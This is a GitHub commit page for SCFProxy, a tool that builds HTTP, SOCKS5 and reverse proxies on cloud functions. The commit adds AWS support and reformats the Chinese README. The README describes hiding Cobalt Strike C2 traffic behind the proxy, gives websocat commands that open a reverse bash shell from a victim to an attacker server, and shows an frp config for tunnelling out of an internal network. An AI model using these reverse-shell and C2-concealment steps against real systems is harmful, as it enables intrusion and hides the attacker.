Skip to content

Commit

Permalink
Add http proxy and socks proxy of aws
Browse files Browse the repository at this point in the history
  • Loading branch information
shimmeris committed Jan 9, 2023
1 parent 414c514 commit b41c7cb
Show file tree
Hide file tree
Showing 57 changed files with 12,048 additions and 38 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
.DS_Store
.idea/
dist/
__pycache__/
52 changes: 42 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,17 +1,22 @@
# SCFProxy
SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现多种代理的工具。

SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现多种代理的工具。

# 安装
前往 [Release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python 旧版,请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支

前往 [Release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python
旧版,请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支

# 使用指南

## 配置凭证

首次运行 `scfproxy` 会在 `~/.config/scfproxy` 目录生成 `sdk.toml` 配置文件,用于配置云厂商的 AccessKey/SecretKey。

之后运行 `deploy/clear` 命令都将默认读取此文件,也可通过 `-c config` 参数指定。
之后运行 `deploy/clear` 命令都将默认读取此文件,也可通过 `-c config` 参数指定。

## List

## List
`scfproxy list` 接受 `provider`, `region`, `http`, `socks`, `reverse` 五种参数。

`provider` 参数列出目前支持的云厂商,可通过 `-m module` 参数指定模块列出支持特定代理的厂商。
Expand All @@ -21,7 +26,9 @@ SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现
`http`, `socks`, `reverse` 参数用于列出目前已经部署的代理

## HTTP 代理

### 部署

```console
scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath]
```
Expand All @@ -40,39 +47,49 @@ scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath]
对于提供多个 `provider` 的情况下,将对每个 `provider` 进行上述 `region` 形式的解析与查找,不存在的 `region` 将被忽略

例子:

```console
scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai
```

通过 `scfproxy list -p alibaba,tencent` 可以查看到所有的 region,上面这条命令的执行结果为

1.`alibaba` 上部署 `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` 区域的 http 代理
2.`tencent` 上部署 `ap-beijing` 区域的 http 代理

### 运行

```console
scfproxy http -l port [-c cert_path] [-k key_path]
```
首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer``scfproxy.key` 证书,需要将其导入系统证书并信任才可以代理 https 请求。

首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer``scfproxy.key` 证书,需要将其导入系统证书并信任才可以代理
https 请求。

### 清理

```console
scfproxy clear http -p provider_list -r region_list [--completely]
```

清理功能默认只会删除触发器,如需同时删除函数,需添加 `-e/--completely` 参数

## SOCKS5 代理

### 部署 & 清理

与 HTTP 代理相同,只需替换 `http` 参数为 `socks`

```console
scfproxy deploy socks -p provider_list -r region_list
```


### 运行

```console
scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c providerConfigPath]
```

`-l socks_port` 监听 socks_port,等待用户的 socks5 连接

`-s scf_port` 监听 scf_port,等待来自云函数的连接,需要部署命令中 `address` 参数的端口一致
Expand All @@ -81,11 +98,13 @@ scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c provi

`--auth [user:pass]` 用于指定 socks 认证信息,默认无认证

socks 命令需要读取 ak/sk 用于触发函数,且通过读取 deploy 后生成的 `~/.config/scfproxy/socks.json` 文件确定需要调用函数的厂商及地区,因此需要将上述两个文件复制到 vps 对应位置运行。
socks 命令需要读取 ak/sk 用于触发函数,且通过读取 deploy 后生成的 `~/.config/scfproxy/socks.json`
文件确定需要调用函数的厂商及地区,因此需要将上述两个文件复制到 vps 对应位置运行。

目前 socks 代理部署的函数超时时间为 15m,因此如果将 socks 代理用于一个长连接如 mysql 连接,需自行安排好时间,避免时间一到导致连接意外断开。

### 使用效果

**长连接**

借助 proxifier 通过 scfproxy 的 socks5 代理进行 mysql 连接,可以看到连接中的 ip 地址来自于阿里云的机器
Expand All @@ -95,9 +114,10 @@ socks 命令需要读取 ak/sk 用于触发函数,且通过读取 deploy 后
与 http 类似,每次短连接将获得一个新的 ip
![short](img/short.jpg)


## 反向代理

### 部署

```console
scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
```
Expand All @@ -107,9 +127,11 @@ scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
`--ip ip_list` 用于限制访问来源,只有 `ip_list` 中的 ip 才能访问部署返回的反向代理网关地址。

### 使用场景

基于反向代理可有如下使用方法,

#### C2 隐藏

以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host

```console
Expand All @@ -118,20 +140,22 @@ scfproxy deploy reverse ... -o http://vps --ip victim

![cs.png](img/cs.png)


#### 反弹 shell 地址隐藏

借助 [websocat](https://github.com/vi/websocat) 工具可实现反弹 shell 的功能。

```console
scfproxy deploy reverse ... -o ws://vps --ip victim
```

受害者端执行:

```console
websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib
```

攻击者 vps 执行:

```console
websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
```
Expand All @@ -140,13 +164,15 @@ websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
![reverse_shell.png](img/reverse_shell.png)

#### 内网穿透地址隐藏

该使用场景需要支持 websocket 协议的内网穿透软件。

```console
scfproxy deploy reverse ... -o ws://vps --ip victim
```

以 frp 代理 SOCKS 为例,客户端配置:

```ini
[common]
server_addr = reverse_proxy_domain
Expand All @@ -161,26 +187,32 @@ plugin = socks5
use_encryption = true
use_compression = true
```

效果如图
![frp](img/frp.png)

### 清理

```console
scfproxy clear http -p provider_list -r region_list -o origin
```

与 HTTP 及 SOCKS 代理不同,反向代理没有 `--completely` 参数,但需要指定 `origin` 参数用于定位需要删除的服务

# 支持厂商

* **阿里云**:不支持反向代理
* **腾讯云**:部署大陆外地区速度极慢,目前仅支持大陆地区

* **AWS**:暂不支持反向代理

# 交流群

该项目仍处于测试阶段,可能存在一些 bug,欢迎提交 issue 或者进入微信群交流。

![wechat.png](img/wechat.png)

# TODO

- [x] 优化 socks 功能
- [ ] 优化代码
- [ ] 美化输出
Expand Down
4 changes: 2 additions & 2 deletions cmd/clear.go
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ func clearHttp(providers []sdk.Provider, completely bool) error {
}

opts := &sdk.FunctionOpts{
Namespace: Namespace,
Namespace: Namespace,
FunctionName: HTTPFunctionName,
TriggerName: HTTPTriggerName,
OnlyTrigger: !completely,
Expand Down Expand Up @@ -121,7 +121,7 @@ func clearSocks(providers []sdk.Provider) error {
provider, region := sp.Name(), sp.Region()

opts := &sdk.FunctionOpts{
Namespace: Namespace,
Namespace: Namespace,
FunctionName: SocksFunctionName,
}
err := sp.ClearSocksProxy(opts)
Expand Down
9 changes: 9 additions & 0 deletions cmd/config/credential.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,11 @@ AccessKeyId = ""
AccessKeySecret = ""
AccountId = ""
[aws]
AccessKeyId = ""
AccessKeySecret = ""
RoleArn = ""
[tencent]
# Named SecretId in tencent
AccessKeyId = ""
Expand All @@ -26,6 +31,7 @@ type Credential struct {
AccessKeyId string
AccessKeySecret string
AccountId string
RoleArn string
}

func (c Credential) isSet() bool {
Expand All @@ -35,6 +41,7 @@ func (c Credential) isSet() bool {
type ProviderConfig struct {
Alibaba *Credential
Tencent *Credential
Aws *Credential
}

func LoadProviderConfig(path string) (*ProviderConfig, error) {
Expand All @@ -56,6 +63,8 @@ func (c *ProviderConfig) ProviderCredentialByName(provider string) *Credential {
return c.Alibaba
case "tencent":
return c.Tencent
case "aws":
return c.Aws
default:
return nil
}
Expand Down
5 changes: 2 additions & 3 deletions cmd/config/socks.go
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@ import (
"sync"
)


type SocksConfig struct {
mu sync.RWMutex
Records map[string]map[string]string
Expand All @@ -27,7 +26,7 @@ func LoadSocksConfig() (*SocksConfig, error) {
return conf, err
}

func (c *SocksConfig) Has(provider, region string) (bool) {
func (c *SocksConfig) Has(provider, region string) bool {
c.mu.RLock()
defer c.mu.RUnlock()
_, ok := c.Records[provider][region]
Expand Down Expand Up @@ -58,7 +57,7 @@ func (c *SocksConfig) Save() error {
func (c *SocksConfig) ToDoubleArray() [][]string {
data := [][]string{}
for provider, rmap := range c.Records {
for region, _ := range rmap {
for region := range rmap {
data = append(data, []string{provider, region})
}
}
Expand Down
10 changes: 3 additions & 7 deletions cmd/deploy.go
Original file line number Diff line number Diff line change
Expand Up @@ -51,9 +51,6 @@ func init() {
deployCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers deploy proxy")
deployCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file")

// deploy socks needed


// deploy reverse needed
deployCmd.Flags().StringP("origin", "o", "", "[reverse] Address of the reverse proxy back to the source")
deployCmd.Flags().StringSlice("ip", nil, "[reverse] Restrict ips which can access the reverse proxy address")
Expand Down Expand Up @@ -85,7 +82,7 @@ func createProviders(cmd *cobra.Command) ([]sdk.Provider, error) {

regions := parseRegionPatterns(p, regionPatterns)
if len(regions) == 0 {
logrus.Error("No region avalible, pleast use list cmd to ")
logrus.Errorf("No region avalible, pleast use `list region -p %s` cmd to check available regions", p)
continue
}

Expand Down Expand Up @@ -200,7 +197,7 @@ func deployHttp(providers []sdk.Provider) error {
}

opts := &sdk.FunctionOpts{
Namespace: Namespace,
Namespace: Namespace,
FunctionName: HTTPFunctionName,
TriggerName: HTTPTriggerName,
OnlyTrigger: onlyTrigger,
Expand Down Expand Up @@ -245,7 +242,7 @@ func deploySocks(providers []sdk.Provider) error {
}

opts := &sdk.FunctionOpts{
Namespace: Namespace,
Namespace: Namespace,
FunctionName: SocksFunctionName,
}
if err := sp.DeploySocksProxy(opts); err != nil {
Expand Down Expand Up @@ -314,4 +311,3 @@ func deployReverse(providers []sdk.Provider, origin string, ips []string) error
wg.Wait()
return conf.Save()
}

14 changes: 11 additions & 3 deletions cmd/provider.go
Original file line number Diff line number Diff line change
@@ -1,9 +1,12 @@
package cmd

import (
"fmt"

"github.com/shimmeris/SCFProxy/cmd/config"
"github.com/shimmeris/SCFProxy/sdk"
"github.com/shimmeris/SCFProxy/sdk/provider/alibaba"
"github.com/shimmeris/SCFProxy/sdk/provider/aws"
"github.com/shimmeris/SCFProxy/sdk/provider/tencent"
)

Expand All @@ -17,8 +20,8 @@ const (
)

var (
allProviders = []string{"alibaba", "tencent"}
httpProviders = []string{"alibaba", "tencent"}
allProviders = []string{"alibaba", "tencent", "aws"}
httpProviders = []string{"alibaba", "tencent", "aws"}
socksProviders = []string{"alibaba", "tencent"}
reverseProviders = []string{"tencent"}
)
Expand All @@ -42,6 +45,8 @@ func listRegions(provider string) []string {
return alibaba.Regions()
case "tencent":
return tencent.Regions()
case "aws":
return aws.Regions()
default:
return nil
}
Expand All @@ -59,7 +64,10 @@ func createProvider(name, region string, config *config.ProviderConfig) (sdk.Pro
// return huawei.New(ak, sk, region), nil
case "tencent":
return tencent.New(ak, sk, region)
case "aws":
roleArn := c.RoleArn
return aws.New(ak, sk, region, roleArn)
default:
return nil, nil
return nil, fmt.Errorf("%s is not a valid provider", name)
}
}
Loading

0 comments on commit b41c7cb

Please sign in to comment.